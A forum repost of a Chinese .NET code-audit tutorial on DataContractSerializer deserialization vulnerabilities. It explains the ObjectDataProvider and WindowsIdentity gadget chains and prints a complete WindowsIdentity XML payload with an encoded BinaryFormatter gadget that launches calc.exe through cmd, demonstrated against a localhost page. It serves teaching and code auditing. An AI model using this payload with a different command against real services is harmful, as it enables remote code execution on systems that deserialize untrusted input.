搜索

[2097] 2019-04-02_.NET高级代码审计（第六课）DataContractSerializer反序列化漏洞

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2019-04-02_.NET高级代码审计（第六课）DataContractSerializer反序列化漏洞 . N E T 高 级 代 码 审 计 （ 第 六 课 ）   D a t a C o n t r a c t S e r i a l i z e r 反 序 列 化 漏 洞 原 创   I v a n 1 e e   d o t N e t 安 全 研 究 僧   2 0 1 9 - 0 4 - 0 2 0 X 0 0   前 言   D a t a C o n t r a c t S e r i a l i z e r 类 用 于 序 列 化 和 反 序 列 化 W i n d o w s   C o m m u n i c a t i o n   F o u n d a t i o n   ( W C F ) 消 息 中 发 送 的 数 据 ， 用 于 把 C L R 数 据 类 型 序 列 化 成 X M L 流 ， 它 位 于 命 名 空 间 S y s t e m . R u n t i m e . S e r i a l i z a t i o n ， 继 承 于 S y s t e m . R u n t i m e . S e r i a l i z a t i o n . X m l O b j e c t S e r i a l i z e r ， 在 某 些 场 景 下 开 发 者 使 用 D a t a C o n t r a c t S e r i a l i z e r . R e a d O b j e c t 读 取 了 恶 意 的 X M L 数 据 就 会 造 成 反 序 列 化 漏 洞 ， 从 而 实 现 远 程 R C E 攻 击 ， 本 文 笔 者 从 原 理 和 代 码 审 计 的 视 角 做 了 相 关 介 绍 和 复 现 。 0 X 0 1   D a t a C o n t r a c t S e r i a l i z e r 序 列 化   类 名 使 用 D a t a C o n t r a c t A t t r i b u t e   标 记 ， 类 成 员 使 用 D a t a M e m b e r A t t r i b u t e 标 记 ， 可 指 定 要 序 列 化 的 属 性 和 字 段 ， 下 面 先 来 看 这 个 系 列 课 程 中 经 典 的 一 段 代 码 T e s t C l a s s 对 象 定 义 了 三 个 成 员 ， 并 实 现 了 一 个 静 态 方 法 C l a s s M e t h o d 启 动 进 程 。   序 列 化 通 过 创 建 对 象 实 例 分 别 给 成 员 赋 值 使 用 D a t a C o n t r a c t S e r i a l i z e r . W r i t e O b j e c t 非 常 方 便 的 实 现 . N E T 对 象 与 X M L 数 据 之 间 的 转 化 ， 笔 者 定 义 T e s t C l a s s 对 象 ， 常 规 下 使 用 W r i t e O b j e c t 得 到 序 列 化 后 的 X M L 数 据 0 x 0 2   D a t a C o n t r a c t S e r i a l i z e r 反 序 列 化 2 . 1 、 反 序 列 化 原 理 和 用 法 、 反 序 列 化 原 理 和 用 法 反 序 列 过 程 是 将 X M L 流 或 者 数 据 转 换 为 对 象 ， 在 D a t a C o n t r a c t S e r i a l i z e r 类 中 创 建 对 象 然 后 调 用 R e a d O b j e c t 方 法 实 现 的 首 先 看 D a t a C o n t r a c t S e r i a l i z e r 类 的 定 义 ， 创 建 实 例 的 时 候 会 带 入 类 型 解 析 器 然 后 在 初 始 化 方 法   I n i t i a l i z e 里 将 T y p e 类 型 解 析 器 赋 值 给 成 员 r o o t T y p e
反 序 列 化 过 程 中 使 用 R e a d O b j e c t 方 法 调 用 了 R e a d O b j e c t H a n d l e E x c e p t i o n s 方 法 ， 省 略 一 些 非 核 心 代 码 ， 进 入 I n t e r n a l R e a d O b j e c t 方 法 体 内 R e a d D a t a C o n t r a c t V a l u e 方 法 体 内 返 回 用 R e a d X m l V a l u e 处 理 后 的 数 据 ， 从 下 图 可 以 看 出 这 是 一 个 C # 里 的 虚 方 法 ， 在 用 S y s t e m . R u n t i m e . S e r i a l i z a t i o n . D i a g n o s t i c U t i l i t y 类 处 理 数 据 的 时 候 通 过 D a t a C o n t r a c t . G e t C l r T y p e F u l l N a m e 得 到 C L R 数 据 类 型 的 全 限 定 名 。 下 图 D e m o 展 示 了 序 列 化 和 反 序 列 化 前 后 的 效 果 反 序 列 化 后 得 到 对 象 的 属 性 ， 打 印 输 出 成 员 N a m e 的 值 。 2 . 2 、 攻 击 向 量 、 攻 击 向 量 — O b j e c t D a t a P r o v i d e r 漏 洞 的 触 发 点 是 在 于 初 始 化 D a t a C o n t r a c t S e r i a l i z e r 类 实 例 时 ， 参 数 类 型 解 析 器 t y p e 是 否 可 控 ， 也 就 是 说 攻 击 者 需 要 控 制 重 构 对 象 的 类 型 ， 若 可 控 的 情 况 下 并 且 反 序 列 化 了 恶 意 的 X m l 数 据 就 可 以 触 发 反 序 列 化 漏 洞 。 笔 者 继 续 选 择 O b j e c t D a t a P r o v i d e r 类 方 便 调 用 任 意 被 引 用 类 中 的 方 法 ， 具 体 有 关 此 类 的 用 法 可 以 看 一 下 《 . N E T 高 级 代 码 审 计 （ 第 一 课 ） 高 级 代 码 审 计 （ 第 一 课 ）   X m l S e r i a l i z e r 反 序 列 化 漏 洞 反 序 列 化 漏 洞 》 ， 因 为 P r o c e s s . S t a r t 之 前 需 要 配 置 P r o c e s s S t a r t I n f o 类 相 关 的 属 性 ， 例 如 指 定 文 件 名 、 指 定 启 动 参 数 ， 所 以 首 先 考 虑 序 列 化 P r o c e s s S t a r t I n f o 再 来 序 列 化 P r o c e s s 类 调 用 S t a r t I n f o 启 动 程 序 ， 然 后 需 要 对 其 做 减 法 ， 去 掉 无 关 的 S y s t e m . R u n t i m e T y p e 、 S y s t e m . I n t P t r 窗 口 句 柄 数 据 ， 下 面 是 国 外 研 究 者 提 供 的 反 序 列 化 P a y l o a d
设 计 的 D e m o 里 使 用 R e a d O b j e c t ( n e w   X m l T e x t R e a d e r ( n e w   S t r i n g R e a d e r ( x m l I t e m . I n n e r X m l ) ) ) 反 序 列 化 成 功 弹 出 计 算 器 。 2 . 3 、 攻 击 向 量 、 攻 击 向 量 — W i n d o w s I d e n t i t y 第 二 种 攻 击 方 法 使 用 W i n d o w s I d e n t i t y 类 ， 这 个 类 继 承 了 C l a i m s I d e n t i t y ， 并 且 实 现 了 I S e r i a l i z a b l e 接 口 ， 实 现 这 个 接 口 好 处 是 可 以 控 制 你 想 反 序 列 化 的 数 据 类 型 ， 此 外 还 可 以 避 免 用 到 反 射 机 制 从 而 提 高 了 运 行 速 度 。 具 体 有 关 此 类 的 用 法 可 以 看 一 下 《 . N E T 高 级 代 码 审 计 （ 第 二 课 ） 高 级 代 码 审 计 （ 第 二 课 ）   J s o n . N e t 反 序 列 化 漏 洞 反 序 列 化 漏 洞 》 ， 下 面 是 国 外 研 究 者 提 供 的 反 序 列 化 P o c 将 D e m o 中 的 变 量 替 换 掉 后 ， 在 抛 出 异 常 之 前 成 功 触 发 计 算 器 ， 效 果 如 下 < r o o t   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   t y p e = " S y s t e m . S e c u r i t y . P r i n c i p a l . W i n d o w s I d e n t i t y ,   m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 "         < W i n d o w s I d e n t i t y   x m l n s : i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . S e c u r i t y . P r i n c i p a l "             < S y s t e m . S e c u r i t y . C l a i m s I d e n t i t y . b o o t s t r a p C o n t e x t   i : t y p e = " x : s t r i n g "   x m l n s = " " > A A E A A A D / / / / / A Q A A A A A A A A A M A g A A A E l T e X N 0 Z W 0 s I F Z l c n N p b 2 4 9 N C 4 w L j A u M C w g Q 3 V s d H V y Z T 1 u Z X V 0 c m F s L C B Q d W J s a W N L Z X l U b 2 t l b j 1 i N z d h N W M 1 N j E 5 M z R l M D g 5 B Q E A A A C E A V N 5 c 3 R l b S 5 D b 2 x s Z W N 0 a W 9 u c y 5 H Z W 5 l c m l j L l N v c n R l Z F N l d G A x W 1 t T e X N 0 Z W 0 u U 3 R y a W 5 n L C B t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D l d X Q Q A A A A F Q 2 9 1 b n Q I Q 2 9 t c G F y Z X I H V m V y c 2 l v b g V J d G V t c w A D A A Y I j Q F T e X N 0 Z W 0 u Q 2 9 s b G V j d G l v b n M u R 2 V u Z X J p Y y 5 D b 2 1 w Y X J p c 2 9 u Q 2 9 t c G F y Z X J g M V t b U 3 l z d G V t L l N 0 c m l u Z y w g b X N j b 3 J s a W I s I F Z l c n N p b 2 4 9 N C 4 w L j A u M C w g Q 3 V s d H V y Z T 1 u Z X V 0 c m F s L C B Q d W J s a W N L Z X l U b 2 t l b j 1 i N z d h N W M 1 N j E 5 M z R l M D g 5 X V 0 I A g A A A A I A A A A J A w A A A A I A A A A J B A A A A A Q D A A A A j Q F T e X N 0 Z W 0 u Q 2 9 s b G V j d G l v b n M u R 2 V u Z X J p Y y 5 D b 2 1 w Y X J p c 2 9 u Q 2 9 t c G F y Z X J g M V t b U 3 l z d G V t L l N 0 c m l u Z y w g b X N j b 3 J s a W I s I F Z l c n N p b 2 4 9 N C 4 w L j A u M C w g Q 3 V s d H V y Z T 1 u Z X V 0 c m F s L C B Q d W J s a W N L Z X l U b 2 t l b j 1 i N z d h N W M 1 N j E 5 M z R l M D g 5 X V 0 B A A A A C 1 9 j b 2 1 w Y X J p c 2 9 u A y J T e X N 0 Z W 0 u R G V s Z W d h d G V T Z X J p Y W x p e m F 0 a W 9 u S G 9 s Z G V y C Q U A A A A R B A A A A A I A A A A G B g A A A A s v Y y B j Y W x j L m V 4 Z Q Y H A A A A A 2 N t Z A Q F A A A A I l N 5 c 3 R l b S 5 E Z W x l Z 2 F 0 Z V N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I D A A A A C E R l b G V n Y X R l B 2 1 l d G h v Z D A H b W V 0 a G 9 k M Q M D A z B T e X N 0 Z W 0 u R G V s Z W d h d G V T Z X J p Y W x p e m F 0 a W 9 u S G 9 s Z G V y K 0 R l b G V n Y X R l R W 5 0 c n k v U 3 l z d G V t L l J l Z m x l Y 3 R p b 2 4 u T W V t Y m V y S W 5 m b 1 N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I v U 3 l z d G V t L l J l Z m x l Y 3 R p b 2 4 u T W V t Y m V y S W 5 m b 1 N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I J C A A A A A k J A A A A C Q o A A A A E C A A A A D B T e X N 0 Z W 0 u R G V s Z W d h d G V T Z X J p Y W x p e m F 0 a W 9 u S G 9 s Z G V y K 0 R l b G V n Y X R l R W 5 0 c n k H A A A A B H R 5 c G U I Y X N z Z W 1 i b H k G d G F y Z 2 V 0 E n R h c m d l d F R 5 c G V B c 3 N l b W J s e Q 5 0 Y X J n Z X R U e X B l T m F t Z Q p t Z X R o b 2 R O Y W 1 l D W R l b G V n Y X R l R W 5 0 c n k B A Q I B A Q E D M F N 5 c 3 R l b S 5 E Z W x l Z 2 F 0 Z V N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I r R G V s Z W d h d G V F b n R y e Q Y L A A A A s A J T e X N 0 Z W 0 u R n V u Y 2 A z W 1 t T e X N 0 Z W 0 u U 3 R y a W 5 n L C B t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D l d L F t T e X N 0 Z W 0 u U 3 R y a W 5 n L C B t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D l d L F t T e X N 0 Z W 0 u R G l h Z 2 5 v c 3 R p Y 3 M u U H J v Y 2 V z c y w g U 3 l z d G V t L C B W Z X J z a W 9 u P T Q u M C 4 w L j A s I E N 1 b H R 1 c m U 9 b m V 1 d H J h b C w g U H V i b G l j S 2 V 5 V G 9 r Z W 4 9 Y j c 3 Y T V j N T Y x O T M 0 Z T A 4 O V 1 d B g w A A A B L b X N j b 3 J s a W I s I F Z l c n N p b 2 4 9 N C 4 w L j A u M C w g Q 3 V s d H V y Z T 1 u Z X V 0 c m F s L C B Q d W J s a W N L Z X l U b 2 t l b j 1 i N z d h N W M 1 N j E 5 M z R l M D g 5 C g Y N A A A A S V N 5 c 3 R l b S w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D k G D g A A A B p T e X N 0 Z W 0 u R G l h Z 2 5 v c 3 R p Y 3 M u U H J v Y 2 V z c w Y P A A A A B V N 0 Y X J 0 C R A A A A A E C Q A A A C 9 T e X N 0 Z W 0 u U m V m b G V j d G l v b i 5 N Z W 1 i Z X J J b m Z v U 2 V y a W F s a X p h d G l v b k h v b G R l c g c A A A A E T m F t Z Q x B c 3 N l b W J s e U 5 h b W U J Q 2 x h c 3 N O Y W 1 l C V N p Z 2 5 h d H V y Z Q p T a W d u Y X R 1 c m U y C k 1 l b W J l c l R 5 c G U Q R 2 V u Z X J p Y 0 F y Z 3 V t Z W 5 0 c w E B A Q E B A A M I D V N 5 c 3 R l b S 5 U e X B l W 1 0 J D w A A A A k N A A A A C Q 4 A A A A G F A A A A D 5 T e X N 0 Z W 0 u R G l h Z 2 5 v c 3 R p Y 3 M u U H J v Y 2 V z c y B T d G F y d C h T e X N 0 Z W 0 u U 3 R y a W 5 n L C B T e X N 0 Z W 0 u U 3 R y a W 5 n K Q Y V A A A A P l N 5 c 3 R l b S 5 E a W F n b m 9 z d G l j c y 5 Q c m 9 j Z X N z I F N 0 Y X J 0 K F N 5 c 3 R l b S 5 T d H J p b m c s I F N 5 c 3 R l b S 5 T d H J p b m c p C A A A A A o B C g A A A A k A A A A G F g A A A A d D b 2 1 w Y X J l C Q w A A A A G G A A A A A 1 T e X N 0 Z W 0 u U 3 R y a W 5 n B h k A A A A r S W 5 0 M z I g Q 2 9 t c G F y Z S h T e X N 0 Z W 0 u U 3 R y a W 5 n L C B T e X N 0 Z W 0 u U 3 R y a W 5 n K Q Y a A A A A M l N 5 c 3 R l b S 5 J b n Q z M i B D b 2 1 w Y X J l K F N 5 c 3 R l b S 5 T d H J p b m c s I F N 5 c 3 R l b S 5 T d H J p b m c p C A A A A A o B E A A A A A g A A A A G G w A A A H F T e X N 0 Z W 0 u Q 2 9 t c G F y a X N v b m A x W 1 t T e X N 0 Z W 0 u U 3 R y a W 5 n L C B t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D l d X Q k M A A A A C g k M A A A A C R g A A A A J F g A A A A o L               < / W i n d o w s I d e n t i t y > < / r o o t >
0 x 0 3   代 码 审 计 视 角 3 . 1 、 、 R e a d O b j e c t 从 代 码 审 计 的 角 度 很 容 易 找 到 漏 洞 的 E n t r y P o i n t ， 通 过 前 面 几 个 小 节 的 知 识 能 发 现 需 要 满 足 一 个 类 型 解 析 器 t y p e 可 控 ， 再 传 入 X M L ， 就 可 以 被 反 序 列 化 ， 例 如 下 面 的 D a t a C o n t r a c t S e r i a l i z e r 类 0 x 0 4   案 例 复 盘 1 . 使 用 O b j e c t D a t a P r o v i d e r 攻 击 向 量 ， 输 入 h t t p : / / l o c a l h o s t : 5 6 5 1 / D e f a u l t   P o s t 加 载 v a l u e 值 2 .       通 过 R e a d O b j e c t   反 序 列 化   ， 并 弹 出 计 算 器 ， 网 页 返 回 2 0 0 。 3 .   使 用 W i n d o w s I d e n t i t y 攻 击 向 量 ， 输 入 h t t p : / / l o c a l h o s t : 5 6 5 1 / D e f a u l t   P o s t 加 载 v a l u e 值 ， 弹 出 计 算 器 的 同 时 ， 服 务 也 会 挂 掉 。 最 后 附 上 动 态 效 果 图
0 x 0 5   总 结 D a t a C o n t r a c t S e r i a l i z e r 在 实 际 开 发 中 使 用 频 率 较 高 ， 但 因 t y p e 需 可 控 才 能 实 施 攻 击 ， 所 以 攻 击 成 本 相 对 来 说 较 高 。 最 后 . N E T 反 序 列 化 系 列 课 程 笔 者 会 同 步 到 h t t p s : / / g i t h u b . c o m / I v a n 1 e e / 、 h t t p s : / / i v a n 1 e e . g i t b o o k . i o / ， 后 续 笔 者 将 陆 续 推 出 高 质 量 的 . N E T 反 序 列 化 漏 洞 文 章 ， 欢 迎 大 伙 持 续 关 注 ， 交 流 ， 更 多 的 . N E T 安 全 和 技 巧 可 关 注 实 验 室 公 众 号 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理